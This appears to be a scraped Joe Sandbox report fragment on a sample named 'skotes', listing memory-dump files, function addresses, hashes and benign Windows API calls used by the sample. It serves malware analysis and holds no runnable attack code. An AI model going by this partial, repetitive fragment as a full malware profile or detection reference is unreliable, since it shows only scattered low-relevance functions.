Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: ccb4b5d51fe67c1f82a3d5c71df3dbcc6f24e73d8ef46742cddca2fc74eba588
Instruction ID: 70008314277dc0045b6fa7e7b9218c9e8211a4741c843b6e91d3995db830a2da
Opcode Fuzzy Hash: ccb4b5d51fe67c1f82a3d5c71df3dbcc6f24e73d8ef46742cddca2fc74eba588
Instruction Fuzzy Hash: EBE02651298200D7F70033EE9892BAE628787E1700F21482AE624C61C0C6B85880A13B

Function 004B7590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,0667AB08,?,00000000,004F9138,000000FF), ref: 004B75CC
CreateThread.KERNEL32(00000000,00000000,004B7430,00518638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 004B76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004B76C9

Part of subcall function 004CD0C7: RtlWakeAllConditionVariable.NTDLL ref: 004CD17B

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: fa980f9cb782a55baed9b093ee83604e4231a099cb21b16910c30b56a587b6bc
Instruction ID: fc7cd155d4c01263bd43c08cb2d297bcb9a4715533b9a858a76d11c973b9d77b
Opcode Fuzzy Hash: fa980f9cb782a55baed9b093ee83604e4231a099cb21b16910c30b56a587b6bc
Instruction Fuzzy Hash: C151D370200244ABEB24DF28CD85FED3BA1EB65714F50862EF805873D1CB79E884CB59

Function 004E6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f23428b46f8928bb9a83c202d91982259e197c6055b35f70ee9f1822bffe9b
Instruction ID: 7b00914d62c029e0a79c6e946d4d42c1b8615a05bc6684651f4d27b0441bdd4e
Opcode Fuzzy Hash: 51f23428b46f8928bb9a83c202d91982259e197c6055b35f70ee9f1822bffe9b
Instruction Fuzzy Hash: 6221F8729041487AEB116B6BDC42B9F3729DF513BEF21031BF9242B2C1DB789E019665

Function 004C6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 004C6D11
Sleep.KERNEL32(00007530), ref: 004C6D25

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 86189f511f5efe77602aa6121b791a490a05f8f6b99de38385fe5037a8724184
Instruction ID: 5e1c64616587503e2fd90f76d4a8a4057a557ef95675987a06d913a709cf4829
Opcode Fuzzy Hash: 86189f511f5efe77602aa6121b791a490a05f8f6b99de38385fe5037a8724184
Instruction Fuzzy Hash: 2CD08C78BC0314B7F26003212C0FF3AAA109B0AF00FB6A849770C3F0D086E8380047AC

Function 004B8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004B8524

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: bd66491932356740247558c8e3076e06196287f872a27f20662d96de48d9b958
Instruction ID: a5d5657bee17609833e6de643855af82e07580b0f690fc2c8ff68eb576130ccd
Opcode Fuzzy Hash: bd66491932356740247558c8e3076e06196287f872a27f20662d96de48d9b958
Instruction Fuzzy Hash: 11512870D002189BDB24EB68CD45BDEBB79DB45314F5042AEE404A73C1EF389E84CBA9

Function 004E7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,004E705B,?,?,00000000,00000000), ref: 004E7166

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 3417e9573e70a1b7c5be45719309ab0e879750f6546f0db192c6b3f197d607fd
Instruction ID: c04137885ee1ae6b042e1f6422b31fdfc681229d1b050a5ccb9e3e3e4e9481a0
Opcode Fuzzy Hash: 3417e9573e70a1b7c5be45719309ab0e879750f6546f0db192c6b3f197d607fd
Instruction Fuzzy Hash: F8112E7290424CABDB10DF96C880EDFB7BCAF08325F105267E515E2280EB34EA09CB65

Function 004EAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 004EAC8D

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
